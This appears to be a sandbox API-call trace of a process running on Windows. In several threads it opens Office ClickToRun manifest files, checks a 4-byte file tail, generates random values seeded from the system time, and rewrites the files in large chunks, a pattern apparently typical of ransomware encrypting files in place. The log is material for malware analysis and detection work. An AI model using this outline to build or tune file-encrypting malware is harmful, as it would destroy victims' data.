	[0088.957] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0x9c5c0175
	[0088.957] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0x8298248b
	[0088.958] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0x8acd6e1
	[0088.958] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0xed44f252
	[0088.958] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0xc8d08b5
	[0088.958] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0xac7fc1e7
	[0088.958] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0xc372044a
	[0088.958] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0x336ade48
	[0088.958] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0xae4ca032
	[0088.958] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0xe6f0ecf9
	[0088.958] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0x3d7e1ba7
	[0088.958] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0xa9d13308
	[0088.958] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0xf65b5194
	[0088.958] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0x9fdfc5ff
	[0088.958] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0x7ce095a
	[0088.958] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0xa54bb197
	[0088.958] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0x8cfa8c07
	[0088.958] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0xaec185a6
	[0088.958] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0x2bc40585
	[0088.958] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0x354ac017
	[0088.967] ReadFile (in: hFile=0x1bf4, lpBuffer=0x4f61f88, nNumberOfBytesToRead=0x6b4a, lpNumberOfBytesRead=0x2c53f86c, lpOverlapped=0x0 | out: lpBuffer=0x4f61f88*, lpNumberOfBytesRead=0x2c53f86c*=0x6b4a, lpOverlapped=0x0) returned 1
	[0088.968] SetFilePointerEx (in: hFile=0x1bf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.969] WriteFile (in: hFile=0x1bf4, lpBuffer=0x4f6e790*, nNumberOfBytesToWrite=0x6b4a, lpNumberOfBytesWritten=0x2c53f868, lpOverlapped=0x0 | out: lpBuffer=0x4f6e790*, lpNumberOfBytesWritten=0x2c53f868*=0x6b4a, lpOverlapped=0x0) returned 1
	[0093.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0093.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781710
	[0093.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781710) returned 1
	[0093.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f6e790) returned 1
	[0093.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f61f88) returned 1
	[0093.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d835d0) returned 1
	[0093.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb228) returned 1
	[0093.186] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5d) returned 0x4733c10
	[0093.187] SetFilePointerEx (in: hFile=0x1bf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.187] WriteFile (hFile=0x1bf4, lpBuffer=0x2d86608, nNumberOfBytesToWrite=0x141, lpNumberOfBytesWritten=0x2c53f8d0, lpOverlapped=0x0) 

Thread:
	id = 1282
	os_tid = 0x2044

	[0088.969] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml")) returned 0x20
	[0088.970] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1
	[0088.970] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bf8
	[0088.971] GetFileSizeEx (in: hFile=0x1bf8, lpFileSize=0x2c5bfaf0 | out: lpFileSize=0x2c5bfaf0*=324596) returned 1
	[0088.971] SetFilePointerEx (in: hFile=0x1bf8, liDistanceToMove=0x4f3f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.971] ReadFile (in: hFile=0x1bf8, lpBuffer=0x2c5bfa74, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5bfa70, lpOverlapped=0x0 | out: lpBuffer=0x2c5bfa74*, lpNumberOfBytesRead=0x2c5bfa70*=0x4, lpOverlapped=0x0) returned 1
	[0088.972] SetFilePointerEx (in: hFile=0x1bf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0088.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47808
	[0088.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479c0
	[0088.972] NtQuerySystemTime (in: CurrentTime=0x2c5bfa50 | out: CurrentTime=0x2c5bfa50*=132251868157100603) returned 0x0
	[0088.972] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x47455342
	[0088.972] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x50d8513c
	[0088.972] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0xd6d2ad57
	[0088.972] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0xc357f486
	[0088.972] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x90301a49
	[0088.972] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x7067715c
	[0088.972] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x900c858e
	[0088.972] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x381381ed
	[0088.972] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0xfeb23f26
	[0088.972] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x4df531cc
	[0088.972] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x96d7dcae
	[0088.972] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x67e2762b
	[0088.972] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x4ad726b3
	[0088.972] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x6c4e0bf4
	[0088.972] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x9458d0a8
	[0088.972] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0xd163bef8
	[0088.972] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x4e7def1e
	[0088.972] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x168681e4
	[0088.972] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x44763532
	[0088.973] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x9dae30c2
	[0088.973] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0xb266a2ed
	[0088.973] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0xaadd5044
	[0088.973] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x3576105f
	[0088.973] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x66e77fff
	[0088.973] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0xd370ba8a
	[0088.973] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x797dbb42
	[0088.973] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x4662c024
	[0088.973] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x61f676ba
	[0088.973] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0xd84b8666
	[0088.973] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x7892e8da
	[0088.973] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x99e54575
	[0088.973] RtlRandom (in: Seed=0x2c5bfa5c | out: Seed=0x2c5bfa5c) returned 0x2de2597b
	[0088.982] SetFilePointerEx (in: hFile=0x1bf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.982] ReadFile (in: hFile=0x1bf8, lpBuffer=0x4fa77d0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2c5bfa08, lpOverlapped=0x0 | out: lpBuffer=0x4fa77d0*, lpNumberOfBytesRead=0x2c5bfa08*=0xc800, lpOverlapped=0x0) returned 1
	[0088.985] SetFilePointerEx (in: hFile=0x1bf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.985] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb270
	[0088.985] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d83648
	[0088.985] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b50
	[0088.985] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b50) returned 1
	[0088.986] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fb3fd8
	[0088.987] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47948
	[0088.987] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47970
	[0088.987] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47970) returned 1
	[0088.987] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83648) returned 1
	[0088.987] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb270) returned 1
	[0088.987] WriteFile (in: hFile=0x1bf8, lpBuffer=0x4fb3fd8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2c5bfa08, lpOverlapped=0x0 | out: lpBuffer=0x4fb3fd8*, lpNumberOfBytesWritten=0x2c5bfa08*=0xc800, lpOverlapped=0x0) returned 1
	[0093.187] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fb3fd8) returned 1
	[0093.187] SetFilePointerEx (in: hFile=0x1bf8, liDistanceToMove=0x32000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.187] ReadFile (in: hFile=0x1bf8, lpBuffer=0x4fa77d0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2c5bfa08, lpOverlapped=0x0 | out: lpBuffer=0x4fa77d0*, lpNumberOfBytesRead=0x2c5bfa08*=0xc800, lpOverlapped=0x0) returned 1
	[0093.477] SetFilePointerEx (in: hFile=0x1bf8, liDistanceToMove=0x32000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.477] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad60
	[0093.477] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47539f8
	[0093.477] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984ca8
	[0093.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984ca8) returned 1
	[0093.478] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ff2800
	[0093.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984960
	[0093.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984c80
	[0093.482] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984c80) returned 1
	[0093.482] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47539f8) returned 1
	[0093.482] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0093.482] WriteFile (in: hFile=0x1bf8, lpBuffer=0x4ff2800*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2c5bfa08, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesWritten=0x2c5bfa08*=0xc800, lpOverlapped=0x0) returned 1
	[0093.556] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0093.556] SetFilePointerEx (in: hFile=0x1bf8, liDistanceToMove=0x42bf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.556] ReadFile (in: hFile=0x1bf8, lpBuffer=0x4fa77d0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2c5bfa08, lpOverlapped=0x0 | out: lpBuffer=0x4fa77d0*, lpNumberOfBytesRead=0x2c5bfa08*=0xc800, lpOverlapped=0x0) returned 1
	[0093.759] SetFilePointerEx (in: hFile=0x1bf8, liDistanceToMove=0x42bf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.759] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb030
	[0093.759] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754010
	[0093.759] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984a50
	[0093.759] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984a50) returned 1
	[0093.760] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4978038
	[0093.760] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x49849b0
	[0093.760] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984a50
	[0093.760] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984a50) returned 1
	[0093.760] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754010) returned 1
	[0093.760] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb030) returned 1
	[0093.760] WriteFile (in: hFile=0x1bf8, lpBuffer=0x4978038*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2c5bfa08, lpOverlapped=0x0 | out: lpBuffer=0x4978038*, lpNumberOfBytesWritten=0x2c5bfa08*=0xc800, lpOverlapped=0x0) returned 1
	[0093.899] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4978038) returned 1
	[0093.899] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x47336c8
	[0093.900] SetFilePointerEx (in: hFile=0x1bf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.900] WriteFile (hFile=0x1bf8, lpBuffer=0x2d88150, nNumberOfBytesToWrite=0x181, lpNumberOfBytesWritten=0x2c5bfab0, lpOverlapped=0x0) 

Thread:
	id = 1283
	os_tid = 0x2048

	[0088.983] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml")) returned 0x20
	[0088.983] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1
	[0088.984] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bfc
	[0088.984] GetFileSizeEx (in: hFile=0x1bfc, lpFileSize=0x2c63f7f4 | out: lpFileSize=0x2c63f7f4*=104560) returned 1
	[0088.984] SetFilePointerEx (in: hFile=0x1bfc, liDistanceToMove=0x1986c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.984] ReadFile (in: hFile=0x1bfc, lpBuffer=0x2c63f778, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c63f774, lpOverlapped=0x0 | out: lpBuffer=0x2c63f778*, lpNumberOfBytesRead=0x2c63f774*=0x4, lpOverlapped=0x0) returned 1
	[0088.989] SetFilePointerEx (in: hFile=0x1bfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.989] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0088.989] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47970
	[0088.989] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479c0
	[0088.989] NtQuerySystemTime (in: CurrentTime=0x2c63f754 | out: CurrentTime=0x2c63f754*=132251868157256863) returned 0x0
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0xd53f527a
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0xba0afbe0
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0xb6ffd386
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x1e986cfa
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x433fc205
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x764079e
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x1e1d3156
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x7414e8c6
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0xb39ff403
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x97528e87
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0xb71f1d59
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x72e7f77
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x47eb42b0
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0xce089c47
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x17f41103
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x72e18a86
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x8daed76c
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x23b4280b
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0xe9459462
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x1938f33e
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x1df9dc5
	[0088.989] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x54f968e7
	[0088.990] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0xae128ce0
	[0088.990] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0xd8f66f10
	[0088.990] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x226771d7
	[0088.990] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x75128252
	[0088.990] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0xc540bb59
	[0088.990] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x3f82cc4e
	[0088.990] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x39aca4ff
	[0088.990] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x15b93701
	[0088.990] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x49a0d92b
	[0088.990] RtlRandom (in: Seed=0x2c63f760 | out: Seed=0x2c63f760) returned 0x5c1d85b3
	[0088.999] SetFilePointerEx (in: hFile=0x1bfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.999] ReadFile (in: hFile=0x1bfc, lpBuffer=0x4fc07e0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2c63f734, lpOverlapped=0x0 | out: lpBuffer=0x4fc07e0*, lpNumberOfBytesRead=0x2c63f734*=0xc800, lpOverlapped=0x0) returned 1
	[0089.001] SetFilePointerEx (in: hFile=0x1bfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.001] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb270
	[0089.001] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d83648
	[0089.001] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b50
	[0089.001] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b50) returned 1
	[0089.002] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48dc828
	[0089.005] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479c0
	[0089.005] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0089.005] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0089.005] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83648) returned 1
	[0089.005] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb270) returned 1
	[0089.005] WriteFile (in: hFile=0x1bfc, lpBuffer=0x48dc828*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2c63f734, lpOverlapped=0x0 | out: lpBuffer=0x48dc828*, lpNumberOfBytesWritten=0x2c63f734*=0xc800, lpOverlapped=0x0) returned 1
	[0093.188] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48dc828) returned 1
	[0093.188] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fc07e0) returned 1
	[0093.188] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x59) returned 0x4733388
	[0093.188] SetFilePointerEx (in: hFile=0x1bfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.188] WriteFile (hFile=0x1bfc, lpBuffer=0x2d86758, nNumberOfBytesToWrite=0x13d, lpNumberOfBytesWritten=0x2c63f7b4, lpOverlapped=0x0) 

Thread:
	id = 1284
	os_tid = 0x204c

	[0089.000] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml")) returned 0x20
	[0089.008] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1
	[0089.008] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c04
	[0089.008] GetFileSizeEx (in: hFile=0x1c04, lpFileSize=0x2c6bfbd4 | out: lpFileSize=0x2c6bfbd4*=2042) returned 1
	[0089.008] SetFilePointerEx (in: hFile=0x1c04, liDistanceToMove=0x7f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.008] ReadFile (in: hFile=0x1c04, lpBuffer=0x2c6bfb58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c6bfb54, lpOverlapped=0x0 | out: lpBuffer=0x2c6bfb58*, lpNumberOfBytesRead=0x2c6bfb54*=0x4, lpOverlapped=0x0) returned 1
	[0089.010] SetFilePointerEx (in: hFile=0x1c04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.010] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0089.010] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0089.010] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ab0
	[0089.010] NtQuerySystemTime (in: CurrentTime=0x2c6bfb34 | out: CurrentTime=0x2c6bfb34*=132251868157413125) returned 0x0
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x5c3e0222
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0xd2f6c691
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x703533fc
